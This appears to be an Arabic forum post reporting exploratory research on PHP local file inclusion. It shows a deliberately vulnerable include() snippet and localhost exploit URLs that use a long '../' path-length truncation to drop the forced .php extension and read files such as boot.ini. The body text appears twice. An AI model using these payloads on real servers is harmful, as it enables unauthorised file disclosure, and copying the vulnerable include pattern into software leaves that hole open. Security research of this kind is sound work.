بسم الله الرحمن الرحيم
فيما يلي هو نتيجة لبحث صغير لي حول حماية PHP حيث اظن انني قد توصلت الى خطا في الاصدار 5.2.6 الخاص ب windows و اعتقد ان باقي الاصدارات الاخرى مصابة (رغم انني لم اجرب دلك) على اي هدا العمل الصغير الدي اجهل تماما ان كان قد ظهر من قبل او لا او ان كان صحيحا ام خاطئا ولكنني قررت نشره على الاقل ان كان خاطئا اعلم بدلك.
هل فكرتم يوما فيما الدي سوف يحصل لو قررنا ان نصعد بواسطة الشل من المجلد الدي نتواجد فيه 100 مرة او 1000 سوف اعطيكم مثالا
لنفترض ان مسارنا في الشل هو هدا
ادا نفدنا هدا الامر
فاننا بالطبع سوف ندخل للقرص الصلب لكن ما دا لو كان مسارنا في الشل هو هدا
ونفدنا هدا الامر
امم في الحقيقة ان النتيجة سوف تكون دائما نفسها فسوف نجد نفسنا في مجلد القرص الصلب
انطلاقا من هدا المبدا حاولت شن هجوم على دالة include في php هده الدالة تقوم بضم ملف php الى السكريبت
لنفترض ان لدينا هدا الكود
وهو كود مصاب بثغرة local file inclusion مادا لو حاولنا قرائة ملف ما على السيرفر عن طريق هدا الكود اي نستغل الثغرة عادة سوف نقوم بهدا
حيث inc.php هو الملف الدي يحتوي على الكود المصاب وبما اننا نريد قرائة ملف data.txt الموجود في مجلد اعلى فلقد مررناه الى المتغير dir و هو المتغير المصاب .
لكن هناك مشكلة وهي اننا سوف نحصل على خطا لان السكريبت يضيف امتداد .php الى الملف الدي نرسله له يعني لو نفدنا هدا
فان الدالة سوف تحاول قرائة هدا الملف
ولكننا نريد ملف data.txt وليس data.txt.php .
عادة وكحل لهدا المشكل يتم استخدام طريق NULL Byte اي اظافة %00 الى الملف حتى يتم تجاهل امتداد php. ويكون الامر هكدا
جميل ولكن الامر ليس سهلا دائما فادا كانت magic_quote مفعلة فاننا لن نستطيع استخدام طريقة Null Byte وسوف يظهر لنا هدا الخطا
ف magic_quote تعمل على تحويل Null Byte الى "0\" ادن ما الحل ؟؟
فكرت وخطرت لي فكرة الكتابة على الامتداد php. الدي يضيفه السكريبت فلقد حاولت شن هجوم Buffer Overflow على دالة include هكدا
الغريب في الامر انني نجحت في دلك 
حيث انني استنتجت ان هناك طول buffer محدد وهو (236 او 237 او 238 ) هدا الطول يؤدي الى اهمال الامتداد بالطبع لازلت ابحث عن سبب كون هده الارقام محظوظة
ولكنني ارجح فكرة حدوث Buffer
ملحوظة
Buffer هو هدا
وطوله هو 237
بعدها جربت قرائة ملفات على القرص الصلب هكدا
وبالطبع استطعت قرائة الملف.
مادا عن Linux
-----------
بعد توصلي لهده النتائج على Windows توجهت مباشرة الى Linux لانه ايضا له نفس امكانية التنقل في الشل فاردت ان ارى ما الدي يمكن ان يحدث وبعد تجريبي اطوال متغيرة لل Buffer (على 5.2.4) حصلت على هده النتائج
بالطبع يمكن وبشكل واضح ملاحظة ان هناك تغير في صيغة الخطا.
على اي كما قلت في البداية الامر كله مازال حبرا على ورق وبادن الله سوف اتعمق في دراسة المشكل ان كان حقا ثغرة حينما تسمح الفرصة بدلك
فيما يلي هو نتيجة لبحث صغير لي حول حماية PHP حيث اظن انني قد توصلت الى خطا في الاصدار 5.2.6 الخاص ب windows و اعتقد ان باقي الاصدارات الاخرى مصابة (رغم انني لم اجرب دلك) على اي هدا العمل الصغير الدي اجهل تماما ان كان قد ظهر من قبل او لا او ان كان صحيحا ام خاطئا ولكنني قررت نشره على الاقل ان كان خاطئا اعلم بدلك.

هل فكرتم يوما فيما الدي سوف يحصل لو قررنا ان نصعد بواسطة الشل من المجلد الدي نتواجد فيه 100 مرة او 1000 سوف اعطيكم مثالا
لنفترض ان مسارنا في الشل هو هدا
كود PHP:
C:\AppServ\www>
كود PHP:
C:\AppServ\www>cd ..\..\
C:\>
كود PHP:
C:\AppServ\www>
كود PHP:
C:\AppServ\www>cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\
انطلاقا من هدا المبدا حاولت شن هجوم على دالة include في php هده الدالة تقوم بضم ملف php الى السكريبت
لنفترض ان لدينا هدا الكود
كود PHP:
<?php
include("scripts/".$_GET["dir"].".php");
?>
كود PHP:
http://127.0.0.1/inc.php?dir=../data.txt
لكن هناك مشكلة وهي اننا سوف نحصل على خطا لان السكريبت يضيف امتداد .php الى الملف الدي نرسله له يعني لو نفدنا هدا
كود PHP:
http://127.0.0.1/inc.php?dir=../data.txt
كود PHP:
../data.txt.php
عادة وكحل لهدا المشكل يتم استخدام طريق NULL Byte اي اظافة %00 الى الملف حتى يتم تجاهل امتداد php. ويكون الامر هكدا
كود PHP:
http://127.0.0.1/inc.php?dir=../data.txt%00
كود PHP:
Warning: include(scripts/../data.txt\0.php)
فكرت وخطرت لي فكرة الكتابة على الامتداد php. الدي يضيفه السكريبت فلقد حاولت شن هجوم Buffer Overflow على دالة include هكدا
كود PHP:
http://127.0.0.1/inc.php?dir=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../AppServ/www/data.txt

حيث انني استنتجت ان هناك طول buffer محدد وهو (236 او 237 او 238 ) هدا الطول يؤدي الى اهمال الامتداد بالطبع لازلت ابحث عن سبب كون هده الارقام محظوظة

ملحوظة
Buffer هو هدا
كود PHP:
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../AppServ/www/data.txt (buffer length = 237)
بعدها جربت قرائة ملفات على القرص الصلب هكدا
كود PHP:
http://127.0.0.1/inc.php?dir=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../boot.ini
وبالطبع استطعت قرائة الملف.
مادا عن Linux
-----------
بعد توصلي لهده النتائج على Windows توجهت مباشرة الى Linux لانه ايضا له نفس امكانية التنقل في الشل فاردت ان ارى ما الدي يمكن ان يحدث وبعد تجريبي اطوال متغيرة لل Buffer (على 5.2.4) حصلت على هده النتائج
كود PHP:
[<a href='function.include'>function.include< in <b>/var/www/htdocs/inc.php</b> on line <b>3</b><br />
[<a href='function.include'>function.include</a> in <b>/var/www/htdocs/inc.php</b> on line <b>3</b><br />
[<a href='function.include' in <b>/var/www/htdocs/inc.php</b> on line <b>3</b><br />
على اي كما قلت في البداية الامر كله مازال حبرا على ورق وبادن الله سوف اتعمق في دراسة المشكل ان كان حقا ثغرة حينما تسمح الفرصة بدلك
تعليق